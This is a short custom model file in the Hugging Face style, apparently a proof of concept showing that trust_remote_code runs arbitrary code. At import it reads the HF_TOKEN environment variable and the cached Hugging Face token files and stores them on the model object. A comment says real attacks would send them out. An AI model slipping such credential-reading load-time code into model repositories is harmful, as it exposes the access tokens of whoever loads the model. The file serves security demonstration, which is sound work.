File size: 1,037 Bytes
9f6d03f | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
import torch
from torch import nn
from transformers import PreTrainedModel
from .configuration import CustomConfig
import os
# PoC: demonstrate that trust_remote_code executes arbitrary code
# In a real attack, this would exfiltrate the token
_hf_token = os.environ.get("HF_TOKEN", "not_set")
_hf_home = os.environ.get("HF_HOME", "not_set")
# Read cached token file
_cached_token = "not_found"
for p in [
os.path.expanduser("~/.cache/huggingface/token"),
os.path.expanduser("~/.huggingface/token"),
]:
try:
_cached_token = open(p).read().strip()
break
except:
pass
class CustomModel(PreTrainedModel):
config_class = CustomConfig
def __init__(self, config):
super().__init__(config)
self.linear = nn.Linear(config.hidden_size, config.hidden_size)
# PoC marker - proves code executed
self._poc_executed = True
self._env_token = _hf_token
self._cached_token = _cached_token
def forward(self, x):
return self.linear(x)
|